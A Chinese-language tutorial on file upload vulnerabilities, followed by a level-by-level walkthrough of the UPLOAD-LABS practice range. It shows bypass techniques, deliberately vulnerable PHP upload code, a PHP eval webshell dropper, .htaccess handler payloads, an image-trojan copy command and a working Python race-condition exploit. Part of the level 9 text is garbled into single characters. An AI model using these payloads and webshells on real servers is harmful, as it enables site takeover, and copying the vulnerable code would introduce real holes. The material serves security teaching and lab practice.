文件上传漏洞
简介
文件上传漏洞是日常渗透测试中用得最多的一个漏洞,获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或其它文件。如果没有限制上传类型或限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或网页脚本,会导致网站被控制甚至服务器沦陷。复杂的情况是配合 Web Server的解析漏洞获取控制权或结合文件包含漏洞。
上传检测流程
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。
客户端javascript校验(一般只校验文件的扩展名)
服务端校验
文件头content-type字段校验(image/gif)
文件内容头校验(GIF89a)
目录路经检测(检测跟Path参数相关的内容)
文件扩展名检测 (检测跟文件 extension 相关的内容)
后缀名黑名单校验
后缀名白名单校验
自定义正则校验
WAF设备校验(根据不同的WAF产品而定)
客户端校验
通常在上传页面里含有专门检测文件上传的 javascript 代码 最常见的就是检测扩展名是否合法,有白名单形式也有黑名单形式。
这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下:
function CheckFileType()
{
var objButton=document.getElementById("Button1");//上传按钮
var objFileUpload=document.getElementById("FileUpload1");
var objMSG=document.getElementById("msg");//显示提示信息用DIV
var FileName=new String(objFileUpload.value);//文件名
var extension=new String(FileName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名
if(extension=="jpg"||extension=="JPG")//可以另行添加扩展名
{
objButton.disabled=false;//启用上传按钮
objMSG.innerHTML="文件检测通过";
}
else
{
objButton.disabled=true;//禁用上传按钮
objMSG.innerHTML="请选择正确的文件上传";
}
}
判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,(进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测))内容如:只允许传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
绕过方法:
将需要上传的恶意代码文件类型改为允许上传的类型,例如将shell.asp改为shell.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名shell.jpg改为shell.asp
上传页面,审查元素,修改JavaScript检测函数(具体方法:可以使用firbug之类的插件把它禁掉)
服务端检测
服务端MIME类型检测
MIME的作用:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。
服务器端检测文件MIME类型可能的代码如下:
<?php
if($_FILES['file']['type'] != "image/gif")
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = './';
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
绕过方法
配置Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型,然后在对应目录生成shell.jpg
服务端目录路径检测
上传的数据包中,如果存在path(或其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞Get Webshell,测试代码 条件:php版本5.3.4以下;gpc关闭
<?php
error_reporting(0);
if(isset($_POST['upload']))
{
$ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
if(in_array($file_ext,$file_arr))
{
$tempFile = $_FILES['file']['tmp_name'];
//这里的$_REQUEST['jieduan']造成可以利用截断上传
$targePath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10,99).
date('YmdHis').".".$file_ext;
if(move_uploaded_file($tempFile,$targePath))
{
echo '上传成功'.'<br>';
echo '路径'.$targePath;
}
else
{
echo("上传失败");
}
}
else
{
echo("上传失败");
}
}
?>
服务端文件扩展名检测
黑名单检测: 黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist 文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc 等等。 黑名单扩展名过滤,限制不够全面:IIS默认支持解析.asp | .cdx | .asa | .cer等
<?php
function getExt($filename){
//sunstr - 返回字符串的子串
//strripos — 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
return substr($filename,strripos($filename,'.')+1);
}
if($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else{
$black_file = explode("|","php|jsp|asp");//允许上传的文件类型组
$new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
if(in_array($new_upload_file_ext,$black_file))
{
echo "文件不合法";
die();
}
else{
$filename = time().".".$new_upload_file_ext;
if(move_uploaded_file($_FILES['file']['tmp_name'],"upload/".$filename))
{
echo "Upload Success";
}
}
}
?>
不被允许的文件格式.php,但可以上传文件名为shell.php_(下划线是空格),IIS支持,linux不支持,详细见下面的特殊文件名绕过描述;
白名单检测
仅允许指定的文件类型上传,比如仅支持上传jpg | gif | doc等类型的文件,其他全部禁止
绕过方法:
文件名大小写绕过
用像 AsP,pHp 之类的文件名绕过黑名单检测
名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类
特殊文件名绕过:
比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性
0x00截断
文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语言函数中处理函数中,处理字符串中
在扩展名检测这大部分都是 asp 的程序有这种漏洞,简单的伪代码
Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
If(type == jpg)
SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里
操作方法:上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。
PHP任意文件上传漏洞(CVE-2015-2348)
该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且可控,可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。
演示代码:
php <?php /* move_uploaded_file(string $filename,string $destination) $destination参数代表得失上传文件移动的最终目的地址 如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控, 那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传 */ if (isset($_POST['Upload'])){ $target_path = WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $_POST['drops'])) { $html .= '<pre>'; $html .= 'Your image was not uploaded.'; $html .= '</pre>'; }else { $html .= '<pre>'; $html .= $target_path . ' succesfully uploaded!'; $html .= '</pre>'; }} else{ $html .= '<pre>'; $html .= 'Your image was not uploaded.'; $html .= '</pre>'; } }
然后上传文件,把POST的drops参数利用空字符进行截断
.htaccess 文件攻击
配合名单列表绕过,上传自定义的.htaccess,可以轻松绕过各种检测,该文件仅在Apache平台上存在,.htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:
<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
保存为.htaccess文件。该文件内容是,只要遇到文件名中包含有”a.jpg”字符串的任意文件,统一执行。如果这个"a.jpg"的内容是一句话木马,可利用菜刀进行连接
服务端文件内容检测
文件幻数检测:
JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
绕过方法:
在文件幻数后面加上自己的一句话木马就行了。
文件相关信息检测:
一般就是检查图片文件的大小,图片文件的尺寸之类的信息。
绕过方法:
伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。
通常,对于文件内容检查的绕过,直接用一个结构完整的文件进行恶意代码注入即可。
演示代码:
<?php
var_dump(getimagesize("shell.php"));
?>
加上GIF头内容
竞争上传
演示代码:
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>
将文件上传到服务器,然后检测文件后缀名,如不符合条件,就删掉,利用思路是,首先上传一个php文件,内容为:
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>
这个文件会被立马删掉,所以使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦成功访问上传的文件,那么它就会向服务器写一个shell。利用代码如下:
import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)
def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == "__main__":
threads = 20
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
经过多次尝试后成功写入shell
图片木马制作
命令执行:
copy /b 1.jpg+2.php
总结
条件: 寻找上传点,查看上传点是否可用。
利用: 首先判断是程序员自己写的上传点,还是编辑器的上传功能 如果是编辑器上传功能,goolge当前编辑器的漏洞 如果是程序员写的上传点 上传一个正常的jpg图片 查看上传点是否可用 上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测) 上传一个正常的jpg图片,burp拦截, 00截断 1.php%00.jpg 判断服务器是什么类型,web服务器程序,是什么类型,版本号多少 利用解析漏洞
防御: 上传文件的存储目录禁用执行权限 文件后缀白名单,注意0x00截断攻击(PHP更新到最新版本) 不能有本地文件包含漏洞 及时修复Web上传代码(重要) 升级Web Server
UPLOAD-LABS靶场通关
所有通关的PHP脚本代码都是关数.php文件 文件内容是
<?php
phpinfo();
?>
第一关
查看源代码或者提示,发现是前端验证,一般前端验证都是纸老虎,形同虚设。 通关方法有三种: 第一就是将浏览器js代码禁用掉,右键—检查—调试器—设置—禁用JavaScript。快捷方式:f12—f1就可以了 然后就可以上传了 这种方法有缺陷,因为禁用了js代码,在实战中,网站的一些正常功能可能无法显示
第二种方法是用bp抓包工具直接将改后缀名 如果js代码是在本地运行,可能抓不到数据包。这种方法也不太行
第三种方法是将网站源码复制下来,放到本地,然后将js代码删除。 右键—查看网站源代码—全部复制—创建一个记事本—将代码放进去—把记事本后缀名改为.html—用Notepad打开—找到js代码—删除 如果打开,是有上传文件的界面,但不知道上传给谁。返回到最开始,右键—检查—网络—然后上传正常的图片。可以看到这个文件传给了谁。 然后使用Notepad打开自己的html文件,修改action,这个action是告诉这个图片提交给谁,因为这个源代码中没有,所以需要加一个。 最后用浏览器打开html文件,上传php文件即可。建议使用第三种方法,实战中,会遇到很多限制条件,第三种方法才是最完美的。
第二关
根据源代码发现,是常见验证中的文件类型验证,也就是验证MIME信息 所以进行抓包,将Content-Type修改为允许上传的类型(image/jpeg、image/png、image/gif)三选一。 查看回显,发现已经上传成功
第三关
查看源代码,发现是一个黑名单验证 黑名单是规定不允许上传的文件,但如果黑名单定义不完整可以实现绕过,用.phtml .phps .php5 .pht进行绕过。这里直接上传一个.php5文件 因为上传上去的文件名会改变,但在数据包中有回显(实战中可能没有),所以还是可以访问。
注意
要在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht,如果不配置他是无法解析php5代码的,访问的时候就是一个空白页
配置过程:以phpstudy2018版本为例
1.打开其他选项单
2.打开配置文件---打开httpd.conf
3.修改代码,去掉注释符
4.保存,重启phpstudy就可以了
第四关
这一关可以看到禁止上传文件太多了 这种情况,可以尝试上传一个.htaccess配置文件,将4.png图片当作php代码进行解析,先创建一个.htaccess文件,写上代码
<FilesMatch "4.png">
SetHandler application/x-httpd-php
代码的意思是如果文件中有一个4.png的文件,他就会被解析为.php,把这个文件上传上去。 上传上去之后,我们在把图片用Notepad打开,里面写上php代码。再进行上传。 最后访问这个4.png文件
注意
.htaccess文件不能起名字,就是.htaccess文件,如果改为4.htaccess或其他名字是不可以的,无法解析。实战中有可能上传上去这个文件会被自动重命名,被重命名了就不可以。
如果以上操作都进行了,还是出不来,还是去改phpstudy配置文件,其他选项菜单--打开配置文件---httpd.conf
箭头指向位置一开始none,改为all保存,重启phpstudy,就可以了。
第五关
思路是没有循环验证,也就是说这些收尾去空,删除末尾的点,去除字符串::$DATA,转换为小写这些验证只验证了一次。所以绕过思路很简单,在数据包中把后缀名改为.php. . 验证过程,首先发现有一个点,这时会把他去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功。 上传成功,然后访问
第六关
这一关没有强制将大写转换为小写,所以可以上传纯大写或者大小写结合的后缀名 要注意不要和限制上传的文件后缀名写重复了。 直接上传后缀名为.PHP的文件 可以看到上传成功,访问上传文件
第七关
查看源代码,发现没有收尾去空。上传php文件,抓包在后面加空格。
可以发现上传成功,访问上传文件
第八关
可以发现没有删除文件名末尾的点,和第七关思路一样,就是把空格换成点 可以发现上传成功,访问上传文件
第九关
查看代码发现没有去除字符串::
D
A
T
A
,
和
第
七
八
关
一
样
,
直
接
上
传
,
在
数
据
包
的
p
h
p
后
面
直
接
加
上
:
:
DATA,和第七八关一样,直接上传,在数据包的php后面直接加上::
DATA,和第七八关一样,直接上传,在数据包的php后面直接加上::DATA 可以发现上传成功,访问上传文件
第十关
黑名单的绕过,意思是如果上传了规定的文件,会把后缀名去掉,比如上传了10.php,那么就会把php过滤掉。文件没有了后缀名,自然也就无法解析了。但是是一次过滤,也就是说写两个php就可以了:10.pphphp,过滤掉一个,正好剩下了10.php。 上传成功,然后访问
第十一关
上传路径名%00截断绕过。上传的文件名写成11.jpg, save_path改成…/upload/11.php%00,最后保存下来的文件就是11.php 上传成功,然后访问
总结
这些全部为黑名单绕过,而且只是验证一次,所以这些关卡全部可以用一个思路解出来,那就是.php. . 都是可以这样的,但是这就违背了创建靶场者的心思,靶场也就失去了意义,发挥不出靶场真正的作用。知道有这么一回事就可以了。所以还是按照b不同思路老老实实打一遍,通关不是目的,让知识得到巩固才是目的。
第十二关
从这一关开始,就是白名单上传了。 只允许上传’jpg’,‘png’,'gif’格式的文件。但是上传路径是可以控制的,可以使用%00进行截断。%00只能用于php版本低于5.3的。需要把phpstudy切换一下版本,把magic_quotes_gpc关闭,以phpstudy为例。其他选项菜单—php扩展及设置—参数开关设置—把magic_quotes_gpc关闭。 在这里,代码虽然对上传进行了白名单限制,但是这里对上传的文件进行文件名重构,那么可以以用这个重构进行绕过
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
%00对PHP版本有要求,
(1)php版本必须小于5.3.4
(2)打开php的配置文件php-ini,将magic_quotes_gpc设置为Off
相当于上传了一个12.php文件到upload中,%00就是截断了,后面的不要了。
第十三关
第十三关和第十二关是差不多的,只不过是接受值变成了post,差别是get会自行解码,post不会自行解码,所以需要对%00进行编码,选中%00右键 编码更改完成,就可以上传了 上传成功,访问
第十四关
用图片+php代码,组成图片码进行上传,要解析这个图片,还得有包含漏洞。他已经说了,网站存在包含漏洞 首先制作一个图片码,可以直接用Notepad直接打开图片后面加一个php代码,但是需要16进制,不然图片可能出错。 也可以cmd进行生成,命令语句:copy 14.jpg /b + 14.php /a webshell.jpg 如图所示,上传生成后的图片 上传 看一下访问的地址,因为一开始就说了有一个包含漏洞 所以地址要加上file
第十五关
第十五关要了解一个函数,getimagesize函数 ,意思是:对目标文件的16进制去进行读取,读取头几个字符串是不是符合图片的要求
所以这关还是用和14关一样的方法,生成带有php代码的图片上传,配合包含漏洞拿下此关。 上传成功,访问上传文件
第十六关
第16关和14,15关思路一样,操作一样。但是需要打开php_exif , phpstudy的其他选项菜单—打开配置文件—php-ini 重启phpstudy即可
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。
通过过程参考14,15关。
第十七关
主要是二次渲染绕过
imagecreatefromjpeg()函数
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。
按照原来的方法进行上传,可以发现是可以上传的,但是配合包含漏洞却无法解析,把上传的图片复制下来用Notepad打开,发现原来写的php代码没了,这就是二次渲染把里面的php代码删掉了。
把原图和修改过的图片进行比较,看哪部分没有被修改。将php代码放到没有被更改的部分,配合包含漏洞,就可以了。 使用HxD Hex Editor 进行比较 下载地址:https://mh-nexus.de/en/hxd 然后比较 具体实现需要编写Python脚本,人工尝试基本不可能构造出能绕过渲染函数的图片webshell。
第十八关
主要是对条件竞争的考察,代码是先将图片上传上去,才开始判断后缀名、二次渲染。如果在上传上去的一瞬间访问这个文件,那就不能对这个文件删除、二次渲染。相当于打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。
操作:直接上传一个php文件,然后进行抓包,将数据包发送至intruder下,如图操作 然后如图操作修改 再修改线程 然后发包,用另一个浏览器一直访问18.php地址,只要在上传的一瞬间,还没来的及删除、修改就可以了。
第十九关
第十九关的上传路径有点问题,不是上传到了upload里面,建议修改一下,进入第十九关,找到myupload.php文件,如图所示修改。 重启就可以了。
检查了后缀名,然后上传,然后在进行二次渲染。只能上传图片马,而且得配合解析漏洞进行通关
操作和18关的一样,就是访问地址是加上包含漏洞的。
这些漏洞其实都是逻辑上的漏洞,二次渲染本身是没什么问题的。 如果先验证在进行上传那就没有办法。
第二十关
两种通关方法 第一种 move_uploaded_file() 函数中的img_path 是由post参数save_name 控制的,可以在save_name利用%00截断 (注意php版本低于5.3)。如图: 访问上传的文件 由于这种前面关卡已经用过,相信考察的不是这个。
第二种 move_uploaded_file() 有一个特性,会忽略掉文件末尾的 /.
所以修改为 访问上传的文件
第二十一关
利用数组绕过验证
|